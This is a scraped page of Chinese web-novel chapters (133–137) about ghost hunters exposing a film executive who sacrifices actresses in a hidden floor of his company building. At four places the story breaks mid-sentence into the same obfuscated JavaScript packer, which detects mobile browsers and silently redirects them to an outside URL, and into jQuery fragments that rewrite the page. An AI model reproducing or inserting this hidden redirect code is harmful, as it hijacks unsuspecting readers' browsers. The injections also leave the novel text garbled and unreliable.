宋露又忍不住发抖。 133. 这对我太残忍 “当时我很害怕,就问贾奎,如果不用试戏,我是不是可以走了,贾奎说不急,让我见见老板再走。”宋露说。 宋露说着,面露恐慌,她不自觉地抱紧了自己,脸上的表情既愤怒又羞愧,宋露说:“他一边说,一边手还不老实,当时我坐在沙发上,他也坐到我身边,他越靠我越紧,他的手……甚至往我腿上摸。” 左轻白愤怒道:“这个贾奎,早就听说他总是借选角副导演的便利占女演员便宜,那只咸猪手,早晚给他剁了!” 宋露道:“我尖叫一声站了起来,跟他说我马上就要走,他又连忙安慰我说,老板马上就要来了,不能得罪老板不是?他刚说完,突然一道门打开,一个坐着轮椅的男人从一扇门后面出来,没人推他,他自己推着轮椅前进。他的脸在黑暗中,我看不见他的脸。我听到贾奎叫他‘老板’。” 这时兰殊尔问:“你看到的这个‘老板’,是不是就是中开影业的老总扈光?” 宋露摇头,“我不知道,但中开影业的老总怎么也应该是个人吧?他不是人!是怪物!” “为什么这么说?” “哪有人长着四只手的!”宋露惊恐道,“我亲眼看见从他的后背伸出两条长长的手,那双手一直伸到我面前,我大叫着想跑,然而贾奎摁住了我,我动弹不了,那双手捏着我的脸左摸摸右摸摸,像摸骨一样。摸完之后,那人嫌弃地说:‘骨相不行,没福气,我不要,赏给你吧。’他说完就走了。他回到门后面,门自己关上了,留下我和贾奎两个人。” 说到这里,宋露已经满头大汗,左轻白给她递了一瓶水,宋露喝了一口水后继续说:“贾奎是个变态,他色迷迷地看着我,他突然改了口,告诉我我在电梯里看到的不是3D影像,是真的,他问我想不想成为水里的一员,我被吓坏了,他坏笑着对我说,没事的,只要我乖乖陪他睡一次,他就放我安全离开,离开之前他会帮我洗脑,我不会记得今晚的一切。我扇了他一巴掌,大骂他变态,他恼羞成怒,捏紧拳头想打我,就在这时,灯突然黑了,不是这一层,而是整栋楼,然后,有人救了我。” “救你的人是谁?”左轻白问。 宋露摇摇头,“我不知道他是谁,只知道应该是个男性,他背着我离开了16M层。我们从一层出来后,他把我放在公司大楼门口,就消失了。因为整栋楼都黑灯了,所以我看不清他的脸。我看到门口的保安很着急,急着找人做检修,没工夫理我,我就趁着这空档,跑了出去,跑到了警察局。” “你已经报过警了?”左轻白问。 “报过一次了。”宋露说,“我把我遇到的事情都跟警察说了,警察很快出警,跟我来到中开影业,可是……可是,警察来到后发现,中开影业大楼总共就只有15层,哪来的16M层!而且当天晚上贾奎也没有回公司,他在出差;我所说的古怪的电梯,也压根找不到。所有人都以为是我说谎,警察也这么认为!” 宋露鼻头一酸,差点哭出来。 宋露看向左轻白和兰殊尔,小心翼翼地问:“你们信我吗?” 左轻白:“信。” 兰殊尔:“信。” 宋露惊喜道:“真的?” 左轻白:“我们见过更离谱的。” 兰殊尔点了点头。 宋露:“……” 兰殊尔问宋露:“那你怎么还敢进组?贾奎还在这。” 宋露说:“因为我实在太想演周羽燕这个角色了,可进组之后我才发现,我被换角了,周羽燕不是我演,我的角色变成了一个小丫鬟,而那时我已经签了合约,想走也走不了了。” 左轻白道:“就是因为你报过警,所以贾奎才在剧组里处处针对你,这恰好说明那天晚上他在场,他根本没出差!” 宋露眼神一黯,“可是没人信我。” 宋露说着,擦了擦快要溢出来的眼泪。 就在这时,导演在叫人了,说拍摄继续。 左轻白拍了拍宋露的手背,说:“我们信你,擦干眼泪,继续工作吧。相信我,这件事很快就会解决。还有,这段时间尽可能呆在我们两个身边。” 几人回到拍摄场景,大家都在忙,导演把左轻白和兰殊尔拉到跟前讲戏,两人认真地听着。 结束一天的拍摄,左轻白回到酒店时已经是晚上了。 左轻白躺在床上,给路回打了个电话。 “喂,路回,你在哪?”左轻白问。 “我在公司,刚结束一个跨洋远程会议。” “不是吧,都这么晚了还工作?你当老板的怎么也这么忙?” “当老板才忙,不当老板顾好自己就行了,当老板的要顾及底下那么多人呢,能不忙吗?” “我男朋友辛苦了。”左轻白嘻嘻笑着,笑得十分谄媚。 路回一听到这种求人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855888|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语气就知道不对,他叹了口气,无奈地说:“行了,又要问我什么事,直说吧,捉鬼师小姐。” 此话一出,左轻白毫不犹豫道:“我想问你跟中开影业的扈总是不是很熟?” “扈叔?挺熟的,怎么了?” “他是不是坐轮椅啊?” “扈叔几年前突然晕倒,醒来后就没办法行走了,听说是伤了控制下肢的神经,只能坐轮椅。” “没法治?” “以目前的医疗水平来看,彻底治愈很困难。” “你这个扈叔叔是个什么样的人啊?” “一个很优秀的人,自信、有能力、有魄力,连我爸都经常夸他。你又遇到什么事了吗?跟扈叔有关?” 左轻白差点就要把宋露的故事告诉路回,但她突然一想,不知为何想到了周夙跟她说的那句话:我弟弟虽然是助道者,但他不修炼,跟普通人没什么区别,所以你别把他拖进危险中去。 左轻白犹豫了一下,想了想,最后对路回说道:“没事,我就问问。你准备回家了吗?累了一天了,回家好好休息。” 路回微微一笑,“你也是,好好休息。” “晚安。” “晚安。” 挂了电话后,路回气定神闲地把手机放在办公桌上。 路回穿着定制西装,昂贵的西装配一张绝佳的脸,衬得他贵气十足。 这里是路回的办公室,很大,整体装修简洁而高雅,但窗户旁又放着发财树,像是现代与传统相结合。 路回只要不吃飞醋,不在左轻白身边,他身上那股子富贵气还是挺唬人的,路回左腿轻搭在右腿上,以一种放松的姿态坐在办公桌后面的椅子上,而他的对面,还有一个人。 没错,这么晚了,路回的办公室里还有人,居然还是个女童。 女童的肩膀上站着一只鹦鹉,她戴着一顶毛茸茸的白帽子,看起来年纪很小,只有十到十一岁的样子,瓜子脸,狐狸眼,一脸精明;眼角高,显得凶,面相让人想起狐狸。 是狐狸神。 狐狸神双手抱臂,就坐在路回对面的椅子上。 路回跟左轻白谈恋爱后什么奇人异事没见过,面对狐狸神,他也不害怕。刚才路回不知道跟狐狸神谈了些什么,放下手机后,他对狐狸神说的第一句话是:“是你把她带到我面前的,你不能让我眼睁睁地看着她消失,这对我太残忍。” 134. 一双高跟鞋 几天后,剧组。 左轻白跟兰殊尔商量:“好消息,今晚收工早,我们去夜闯中开影业吧。” “就我们两个?”兰殊尔问。 “你有什么计划?”左轻白反问。 兰殊尔指了指远处正在片场指挥工作的贾奎,说:“带上他。” 左轻白却说:“他不老实怎么办?” 左轻白忽然想到了什么,质问兰殊尔:“喂,这几天每天晚上收工你都去跟贾奎喝酒,几个意思?巴结他啊?” “我是在做准备。”兰殊尔冷冷地说。兰殊尔这张脸,就会摆冰山表情,虽然总被影评人诟病演技差,没表情,奈何粉丝就吃这一套啊,管他冰山不冰山、演技不演技的,帅就是硬道理,这就叫硬帅! 兰殊尔说:“我在给贾奎喝的酒里面化了符纸,符纸连服三天,他的思想就可以短暂地被我操控三个小时,今天晚上9点到12点,他由我操控,我们可以让他带路。” 兰殊尔又道:“捉鬼师手册里有一条,做任何任务前都要有充分的准备,绝不可像赶鸭子上架一样,什么准备也没有。”兰殊尔扫了一眼左轻白,说:“你要夜闯中开影业,做什么准备了吗?说闯就闯?莽撞。” 左轻白接了一句:“你们这什么捉鬼师手册是不是也要背下来考试啊?考考考,把随机应变的本事都考没了。” “所以你是真的一点准备都没做?” “没做。” 兰殊尔白了一眼左轻白,左轻白也白了一眼兰殊尔,两人谁也看不惯谁的行事作风。 但事实证明,兰殊尔的提前准备还是有用的。 兰殊尔蹲了下来,把一张图纸铺在地上,说:“前天我让符纸小人潜入中开影业大楼,画出了大楼地图。” 图纸上画着一栋大楼的简易剖面图,图上显示大楼只有15层。 “真的只有15层?那哪来的16M层?”左轻白惊讶道。 “地面上有15层,地面下还有两层。”兰殊尔说着,指了指图纸上的标注,标注用文字写着地下还有隐藏的两层,但没画出来。 左轻白恍然大悟:“所以,地面上是15层,但算上地面下的,总共有17层。” 兰殊尔接着她往下说:“如果把负二楼算作是一楼,那么我们以为的15楼其实是17楼,14楼其实是16楼,14楼和15楼之间有一个夹层就是16M层。” “宋露那天去的是14楼和15楼之间的夹层?图上没画,符纸小人进不去这个夹层吗?” “进不去,不仅这个夹层进不去,地下的两层也进不去,符纸小人说有什么阵法挡住了。” “那宋露坐的那个电梯?” “也是个阵法,宋露看得到,是因为布阵人想让她看到;警察看不到,因为布阵人不想让警察看到。” “是什么样的阵法?鬼阵?那中开影业大楼里一定有鬼气咯?”左轻白下意识地推断。 兰殊尔却摇摇头,说:“中开影业里面没有鬼气,也没有鬼,但是却有很多魂。” 因执念不愿入轮回的是魂,魂一旦主动害人就会变成无法转世的鬼,二者最大的区别在于害人与否。 这时兰殊尔叹了口气,又补充了一句:“全是冤魂。” 与此同时,中开影业。 路回来到了中开影业,他是代表他爸路宗锋来洽谈合作的,这种形式的到访叫做商务拜访。 路回与中开影业的老总扈光见了面,两人谈完工作后,扈光带路回参观公司,路回虽然年轻,但从小被爸妈着重培养,对这种场合早就得心应手,毫不怯场。 扈光虽然坐着轮椅,但精神状态很好,助理推着轮椅,扈光与路回谈笑风生,看起来瘫痪造成的阴霾早已消散。期间扈光不停地夸路回优秀,说羡慕路宗锋有个好儿子,路回则称呼扈光为扈叔,并称扈叔一直是自己的榜样,虽然都知道是商业互夸,但至少表面上两人仿佛真的关系好到不行。 参观了一圈后,两人回到15楼,坐下后,路回忽然说:“扈叔,刚才坐电梯,怎么感觉14楼和15楼之间的距离要远一点?虽然只是两个楼层,却好像坐了三个楼层。” 扈光笑道:“哪有的事?错觉吧。” 路回也笑了,“可能真是错觉。” 两人又聊了一会,这时扈光的秘书突然来了,她在扈光耳边说了几句话,扈光点点头,让她等一下。 扈光对路回说:“不好意思,我有些急事需要去处理,路回,你在这等我一下,一会我们一起吃个饭。” “好。”路回答应。 是工作上的事情,助理推着扈光走了,秘书跟随,扈光没有安排人来陪路回,大概是因为不用离开多久,很快就会回来。 扈光走后,路回一个人呆在15层。 路回稍稍放松了点。 作为接班人,路回从小被父母要求成熟稳重,大方得体,还要能干,路回也确实做到了,但其实很多时候他也想放松一下,放松地发会呆都行。 路回坐在沙发上发呆。 路回觉得眼睛酸涩,揉了揉眼睛,然而睁眼时,他突然发现自己正对面的沙发下方居然多了一双红色的高跟鞋。 刚才明明没有这双高跟鞋。 路回以为自己眼花了,又揉了揉眼睛,再看一遍,确实是一双高跟鞋在那里。 路回看了看四周,这里就只有他一个人啊。 路回转过头来,看着那双高跟鞋,心里有些发毛。 忽然,路回感觉到有人在自己耳边吹气,他连忙回头,可身后什么也没有。 闹鬼了?路回跟左轻白在一起久了,他现在遇到啥事都会想到鬼。 路回忽然想到左轻白跟自己说过的中开影业大楼里发生的鬼故事,不由发怵。 路回今天不是为查闹鬼事件而来的,他就只是单纯地代表他爸爸来谈工作,但不管他是为何而来,只要进了这栋闹鬼的大楼,就都有可能见鬼,不是吗? 路回把头转了回来,然而他一回头,就看见对面的沙发上坐着一个美女,刚才那双红色高跟鞋就穿在美女雪白雪白的脚上。 美女肤色很白,白得可怕,又偏偏涂了正红色的口红,这样显得她更可怕。她正对着路回,身上穿着一条裸色的裙子。 “你是人是鬼?”路回问。 美女歪了歪头,好奇地问:“咦,你怎么不大喊大叫,也不发抖?你不害怕吗?” “怕,但我见到过更可怕的。” “怎么见到的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869696|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我女朋友带我见的。”路回一本正经地说。 路回想起左轻白正在调查菲菲的事情,而菲菲的影子出现在了中开影业,便大着胆子问对面的女人:“你认识菲菲吗?我女朋友在找她。” 女人左看右看,小心翼翼地说:“我不认识菲菲,但有个地方可能有你要找的菲菲,你可以去找一找。赶紧去,现在阵法好不容易出现了漏洞,错过了这个时间,可就不行了。” 女人从沙发上站起来,走向一面白墙,她转身那一刻,路回这才看到,原来她穿的是一条露背的裙子,她的背后裸露着,露出的部分清晰可见大片狰狞的烧伤。 女人手指白墙,白墙上居然出现了一个电梯门,电梯门打开,虽然路回并不想进去,但女人手一指路回,一股强大的力量就把路回给拉进了电梯,路回始料未及。 电梯门关了,电梯动了。 进了电梯,电梯有一面墙是透明的,像观光电梯,路回可以看到外面的场景。 路回首先看到了一个巨大的水缸,被泡发泡白了的人在里面不停地游,长长的头发在水里散开,跟水草一样。 随着电梯的移动,外面的场景变了,路回看到几只垂下来的脚,这几只脚没穿鞋,都光着,有两只还上了红色指甲油,皮肤都青白青白的,一摇一晃。旁边还有几个木桩,人大概是吊在木桩上的。 幸好路回只看到了脚,没看到上半身,如果看到真要被吓个半死,那些吊着的人的脖子被重力拉得老长,跟鸭脖似的。 路回心惊肉跳,问:“这是什么?” 他想离开,可电梯不停,门也不开,电梯一直在往下走。 “祭品,用来维持阵法的。”女人说,“其实我也是,不过我悄悄逃出来了一小会。” 电梯显示在一楼停下,电梯门打开,一股力量把路回推了出去,路回一看,这里却不是他来时的那个一楼。 这里其实是负二层。 女人在电梯里没出来,她指着不远处的一个门,对路回说:“推开那扇门,在里面找找有没有你要找的人。” 说完,电梯门关闭,女人不见了,电梯门也不见了,变成了一堵白墙。 四周安静得可怕,路回神差鬼使地走向那扇紧闭的门,然而,他才没走两步,突然有一个人从他身后用一根很大的木棒在他后颈上用力一敲,路回两眼一黑,晕了过去,一头栽倒在地上。 扈光和助理不知何时出现在了路回身后,扈光坐着轮椅,助理手里拿着木棒。 扈光黑着脸说:“他不是在17层吗?怎么跑这里来了?坏事。” 扈光问助理:“不能让他记得这里的一切,洗脑的医生呢?快点让他过来。” 助理说:“老板,洗脑的医生只有每天晚上10点半的时候才会过来,白天找不到人。” “麻烦。”扈光面露不耐。 扈光一指路回,说:“给他喂片安眠药,让他睡到晚上,医生来了赶紧给他洗脑。” 扈光口中的“洗脑”应该是消除记忆的意思,现代医学没有这个项目,也不知道扈光口中的“医生”是何方神圣。 助理给路回喂了安眠药,推着扈光离开了。 路回一个人躺在冷冰冰的地板上,看起来十分孤独。 135. 不以为然 晚上9点55分,左轻白和兰殊尔到达中开影业,由贾奎带路。 贾奎目光呆板,因为喝了兰殊尔的符水,这三个小时内由兰殊尔控制,兰殊尔每用鞭子抽他一下,他就会乖乖地往前走。 三人绕过保安,进入中开影业大楼,这里已经下班了,整栋楼没有人。 兰殊尔抽了贾奎一鞭子,贾奎像行走的尸体一样呆板地走过长长的走廊。 走到一堵白墙前时,贾奎停了下来。 “那个特殊电梯的入口应该就在这里。”兰殊尔说。 就在兰殊尔准备再抽贾奎一鞭子,驱使他打开电梯入口时,一阵平稳的脚步声从兰殊尔和左轻白的身后传来。 来人走路四平八稳,气定神闲。 左轻白连忙回头,愣了一下,兰殊尔跟着回头,也愣了一下。 来人不是保安,也不是魂魄之类的东西,而是周夙。 周夙穿着黑色休闲外套和黑色牛仔裤,衬得他腿格外长,他把两只手插在裤子口袋里,样子很随意,脸上没太多表情,一派淡然。 “周夙?你怎么在这里?”左轻白说着,看了一圈四周,问:“金绮月呢,既然你在,她是不是也在?这事又跟她有关系?” 周夙瞥了左轻白一眼,不咸不淡地回了一句:“别乱猜。” 周夙看到了贾奎,说:“你们把他带来了?这个人作恶多端,你们拍摄组里有一个叫宋露的小演员,差点在这里遭了他的毒手。” 左轻白想到了什么,惊讶道:“救了宋露的那个人是你?” 周夙默认了。 “你投靠神通鬼,帮鬼做事,没想到心中还存着一分善意,想不到啊。”兰殊尔摆着一张冰山扑克脸说。 周夙看向兰殊尔,微一挑眉,说:“你想不到的事还很多。” 周夙道:“我知道你们是来查这栋大楼的,我比你们早查了一个月,跟我走吧。” 周夙走到白墙前,在白墙上飞快地摁着什么,他摁完了,像是启动了什么机关,白墙上凭空出现一个电梯门。 四人走进电梯,电梯按键显示1-17层,现在他们所在的是三层;而这栋楼里其他电梯只有1-15层,显示楼层是一层。 跟宋露说的一样,电梯按键没有16M层,周夙便同时按下16和17层按键,电梯上行。 上行时,左轻白和兰殊尔身后的那面墙变成了半透明,跟观光电梯似的,可以看到外面的光景,左轻白和兰殊尔看到了外面的大水缸,以及大水缸里的“人”。 “这是什么?”左轻白问。 “祭品。”兰殊尔说,“这种情况我听我老师说过,这栋大楼里隐藏的电梯和楼层,是被一种阵法遮掩,使得别人看不见它们。这种阵法跟鬼阵极其相似,却是活人布下的,事实上这是一种邪术,水缸里这些被泡肿了的人,是滋养邪术的祭品,唯有祭品存在,阵法才能维持。” “祭品还活着吗?”左轻白又问。 “半死不活,也就是没有死透。因为没有死透,所以她们的魂魄会不停地在飘出来和回到身体里这两种状态中摇摆。”兰殊尔道。 也就是说祭品虽然没死透,但魂魄会跑出来。 “没死透……”左轻白脑中灵光一闪,想到了什么,她突然大声说:“周家老宅那12口棺材里躺着的干尸,听周如森说,那些干尸在变成干尸之前,都是没有死透的人,原因也是练了邪术!” 这时周夙看了左轻白一眼,“你也看见那几具棺材了?不同的是,棺材里的人是主动修炼,而这里的人是被动变成这样的。” “哎,那是你家的棺材哎,你怎么语气淡漠得好像跟你没关系一样?”左轻白笑道。 “那不是我家。” “也是,你不承认自己是周家人,你在心底依然觉得你是舒家人。” “你为什么知道这么多?” “我是鬼村小若啊,跟你们同个时代的。” “骗子。” 电梯到达16M层,几人走出电梯。 这是个很大的办公空间,除了没窗户和灯比较暗外好像跟其他楼层也没什么不同。周夙径直走向一间办公室,他打开办公室的门,示意左轻白和兰殊尔进来。 这是扈光的办公室,周夙从办公桌抽屉里拿出一本相册,翻开相册让左轻白和兰殊尔看。 相册里全是女孩的照片,这些照片都是贾奎弄来的,贾奎是选角副导演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890903|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以他手上有大量的试戏女演员的照片。每张照片旁都做了批注,批注上写着女演员的身高、体重、年龄,甚至还有生肖、生辰八字、出生地点这种跟试戏毫无关系的信息,接着是一长串对女演员面相的分析,最后用红笔写出最后结论:“有福”还是“没福”。 左轻白拿起其中一张照片,惊讶道:“他们在干什么?算命吗?迷信成这个样子,选个演员还要看有福没福?” 周夙调查了一个月,对这里最清楚,他说道:“他们首先通过女演员的照片,分析女演员的面相,再结合她们的八字等信息,初步判断是有福还是没福;但还不够,还有骨相要看,他们最后会把女演员约到公司来,通过亲手摸女演员的脸来判断其骨相是不是同样有福气。他们把通过了层层筛选的人留下,没通过筛选的扔给贾奎。扔给贾奎就是……潜规则。”周夙已经说得很隐晦了。 “我靠!”左轻白气得发抖,“什么人渣啊!” 周夙又道:“我之所以会来调查,是因为我发现他们居然盯上了绮月,我把试图向绮月发出试镜邀请的人狠狠教训了一通,他们这才不敢招惹绮月。” 周夙眼中闪过一丝狠戾,像是想杀人。 “哟,护花使者啊。”左轻白调侃道,但她很快发现不对,这才反应过来,左轻白说:“不,不对,你完全没必要担心金绮月,她是神通鬼,她来了倒霉的只会是这栋楼里的人。你之所阻拦他们,是因为你知道金绮月的脾气,她哪咽得下这口气?她要是真来了,不仅是这栋楼,方圆十里内的人,管他无辜不无辜,都要死!” 左轻白看向周夙,问:“你在担心金绮月滥杀无辜?” “不。”周夙果断否认,“这一世我只在乎绮月,不会管其他人。这些人敢把主意打到绮月头上,我不会放过他们。” 周夙的目光狠得像淬了血的刀,兰殊尔见状出言提醒:“我必须提醒你一句,别乱来。我们捉鬼师虽然能审判鬼,但我们自身依旧是人,依然受人间法律和规则的约束,我们是不能直接审判人的。” 意思是想要审判人,还得通过法律才行。 周夙冷冷地瞥了兰殊尔一眼,他虽然没接话,但显然对兰殊尔的话不以为然。 136. 病出在脑子上 “像扈光这样的人,给谁审判都是死罪,那么是我审判还是法律审判又有什么区别?”周夙理直气壮地说。 周夙接着说:“我想弄清楚扈光这么做的目的,以及这个阵法是谁教他的。” “这个阵法是谁教的,你心里是不是已经有了答案?”左轻白说,“周如森,你家老祖宗。这些半死不活的祭品跟你家棺材里那些干尸是一样的,只不过一个是干的,一个是湿的。” “他不是我老祖宗。”周夙否认,“上一世我出生的时候,他还不知道在哪。” 舒瑾安出生的年代比周如森早。 “那也是上一世了,这一世他还真就是你老祖宗。你这老祖宗啊,不是一般古怪。”左轻白笑道。 “我总觉得他针对绮月。”周夙皱眉道,“从我很小的时候他就在我耳边不停地说,要杀了绮月,我自然是不会听他的。” “他让你杀神通鬼有什么错?神通鬼本来就该杀。”兰殊尔不怕死地来了一句。 周夙目光一寒,冷冷地对兰殊尔说:“你再多说一句,我先杀了你。” “哎哎哎。”左轻白拦在两人中间,警告道:“都别动手啊,要打,把这栋楼的谜团解开再打。” 左轻白问周夙:“你查了这么久,负一层和负二层进去过没有?” “去了,那里什么也没有,但是负二层有一扇奇怪的门,我一直打不开,窥探不到里面的秘密……” 周夙还没说完,兰殊尔突然打断了他。 “等一下。快看那边。”兰殊尔看起来非常严肃,他一指外面的一扇墙,让左轻白和周夙看过去。 原来,办公室的灯是开的,门也是开的,办公室的灯光射到外面,刚好打在木木呆呆的贾奎身上,把贾奎的影子投射在墙上。 但贾奎的影子却不像贾奎本人,墙上出现了一个女人的影子,身材婀娜,长发及腰,看头发的形状,应该剪着公主切的发型。 白柳口中的那一幕出现了。 周夙脸色微变,“这是什么?” 左轻白压低声音说:“别吓跑她。” 左轻白低声念起咒语,施展招魂术,影子逐渐从平面变成了立体的,又逐渐出现五官和皮肤,最终变成了菲菲的模样。 “菲菲。”左轻白叫她,“你别害怕,别跑,我是受白柳的委托来找你的。” 菲菲一愣,口中喃喃:“白柳姐?” 突然,菲菲捂着脸,无助地哭了起来。 左轻白把菲菲拉进了办公室。 菲菲说出了真相:“几个月前,我从原公司解约,跳槽来中开影业,他们说他们会捧我,我信以为真。那天扈光要见我,我以为他有什么好资源要给我,我的机会来了,没想到他把我带到这里,突然从背后伸出两只手,用那两只手摸我的脸,摸完之后,他说我的骨相有福气,把我留了下来,然后……我就成了祭品。” “从背后伸出两只手?一共四只手?”左轻白问。 “嗯。”菲菲点头。 “你确定这怪物是扈光?” “是。”菲菲继续往下说:“我们祭品的魂魄有时能跑出来,但跑不出这栋楼。我不敢在贾奎和扈光面前现身,他们看到会惩罚我的本体,所以我想了一个办法,我把贾奎的影子吃了,代替了贾奎的影子,希望有人能注意到我。” 菲菲想到了什么,她说:“刚才你们的对话我都听见了。”她指了指周夙,说:“他说他打不开负二层的那扇门。” 周夙说:“那扇门力量很强。” 菲菲道:“需要钥匙打开,钥匙在扈光手上。” 左轻白问菲菲:“那扇门你进去过吗?” 菲菲点点头,我不光装过贾奎的影子,我还装过扈光的影子。有次我伪装成扈光的影子,跟着他进去了。那里面的场景,实在太可怕。” “里面有什么?”兰殊尔问。 “你们都知道扈光根据福气筛选女演员,把有福气的留下,没福气的给贾奎,但你们不知道,被留下的这些人还会根据福气高低进行一个排名,排进前三名的会被送入那扇门,其他的都做成祭品。那扇门里……” 菲菲说到这里,全身打了个寒战,她闭上眼睛,眼前仿佛浮现出了她看到的场景。 那次,菲菲跟随扈光进入负二层紧闭的门里,门一开,首先出现的是富丽堂皇的一幕:门里堆满了黄金、珠宝、玉镯,还有各种首饰、化妆品、以及漂亮衣服,这些东西都是女人喜欢的东西,像贡品一样堆积在那里。 这些贡品供奉的不是什么神明,而是三个被钉在神龛上的女人,神龛上方写着两个词——“母神”和“子宫”。 三个女人身穿昂贵的高定礼服,每一件的价格都高达百万,她们面色红润,看上去跟活人无异,但双目紧闭,一动不动。这诡异的画面令人毛骨悚然。 三个女人都还有呼吸,是活人而不是死人。 菲菲全身发抖,她对左轻白等人说:“她们是活的,因为扈光那个变态需要她们的子宫,扈光的腿废了,他把希望寄托于这三个最有福气的女人,希望她们的子宫能为他孕育出一双健康的腿!” “疯了吧他!”左轻白大声说,周夙和兰殊尔也露出不可思议的表情。 “他成功了一半,在这种邪术的催化下,她们孕育出了一双手,所以扈光充满希望,认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903396|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为自己一定能等来一双腿。”菲菲说。 原来扈光后背多出来的一双手是女子孕育出来的,其中肯定有邪术加持,像菲菲这样的祭品,就是用来支撑和滋养这种邪术的。 左轻白只觉得恶心,太恶心了,超乎寻常的恶心和变态。 “疯子。”兰殊尔骂道,并很快找到了这个荒谬故事中的bug:“我听说扈光下肢瘫痪的原因是他大脑发生病变,导致控制下肢的神经受损,双腿才走不了路,本质上是脑神经的问题,他却想通过一双新的腿来解决,他神经病吗?” 左轻白道:“可不就是神经病吗!” 就在这时,突然从楼顶传来一阵娇俏的笑声,笑声还伴着金铃声。听到笑声,菲菲的脸上露出强烈的恐惧,抖成了筛子,并迅速蜷缩成一团,她在害怕。 这是一种本能的害怕,像菲菲这种小魂魄,听到神通鬼的声音都是要害怕的。 左轻白赶紧扯出一张符,把菲菲收了进去。 “金绮月?”左轻白一下识别出了这个笑声,“她在哪?” 笑声还在继续,整栋楼的魂魄都在颤抖。 “在楼顶。”兰殊尔听出来了,“电梯能上楼顶吗?” “不能,但是可以先上17层,从17层的窗户翻上楼顶。”周夙说。 三人迅速行动。16M层没有窗户,但17层有,三人到了17层,敲破17层的窗户,翻上大楼楼顶,三人都是有身手的,所以不难做到。 三人上了楼顶,看到一身红裙的金绮月站在月夜下放声狂笑,她笑弯了腰,肚子都笑痛了。 金绮月的左右手各戴了三只细圆条金镯,每条镯子上还挂着金铃铛,只要一动金铃就会发出清脆的响声。 “绮月,你怎么在这里?”周夙走上前,问。 金绮月看着周夙,边笑边说:“我今晚去公寓找你,发现你不在,我有些好奇,就全城搜了搜你的踪迹,没想到听到了这么好笑一个故事,哈哈哈哈!” 金绮月笑得非常夸张,根本停不下来,就差满地打滚了。 金绮月掐着自己的腰,好不容易喘过气来,她转头看着月亮,用一种极其讽刺的语气说:“我在世间游戏这么久,发现一个很有意思的现象:男人对女人的态度真是矛盾到可笑的地步,一方面他们贬低轻视女人和有关女人的一切;另一方面,他们又把自己乃至家族的命运寄托到女人身上,觉得娶个贤妻就能功成名就,迎个好女人进门就能旺三代,瞧瞧这个扈光,他甚至觉得只要找到有福气的女人,有福气的女人为他孕育出一双好腿,就能解决他半身不遂的问题,可惜啊,他这病是出在脑子上的!哈哈哈哈!笑死我了。” 137. 把神龛劈烂 说完,金绮月突然目光一冷,笑声一收,脸上露出阴狠的表情。 她那张幼态的娃娃脸变得死白死白的,愈发阴沉;眼睛里的黑瞳逐渐放大,没过眼白,诡异无比。 与此同时,金绮月的身后显现出了神通鬼的法相,法相的形态是一个由浓烈鬼气形成的盘膝而坐的女童。 金绮月晃起手中的金镯,镯子上的金铃碰撞,发出响声,金绮月边晃边说:“不知天高地厚的老东西,竟敢把主意打到我头上,我会让他好好地死一死。” 说完,金绮月露出了诡异的微笑。 金绮月把两只手举过头顶,两只手的六只镯子剧烈地一碰,镯子上的金铃疯狂响了起来,一股浓烈的鬼气随着金铃声蔓延开来。 “你在干什么?金绮月!”左轻白预料到大事不好,大声喊道。 金绮月大笑起来,说:“你我都清楚,这栋楼里那些被做成祭品的人,已经不可能复活了,与其这么半死不活地吊着她们,不如给她们个痛快,放她们的魂魄自由!” 金绮月放声大笑,在她的一声令下,大量猫头鹰从中开影业大楼里飞了出来,场面极其壮观。 “怎么会有猫头鹰?”左轻白问。 “不是猫头鹰。”兰殊尔说,“是那些被做成祭品的女孩的魂魄。” 这时,左轻白看到有一个人被猫头鹰们从大楼里拖了出来,拖到半空中,疯狂地撕咬,这个人不是别人,正是这次事件的罪魁祸首,半身不遂的扈光。扈光晚上会来这里。 猫头鹰们用它们的爪子和利喙,把扈光身上的肉一块一块地撕咬下来,生生吞入腹中,在这个过程中扈光还活着,他能清晰地感受到非人的痛苦。 到最后,肉吃完了,内脏也吃完了,扈光活生生变成了一副骷髅架子。 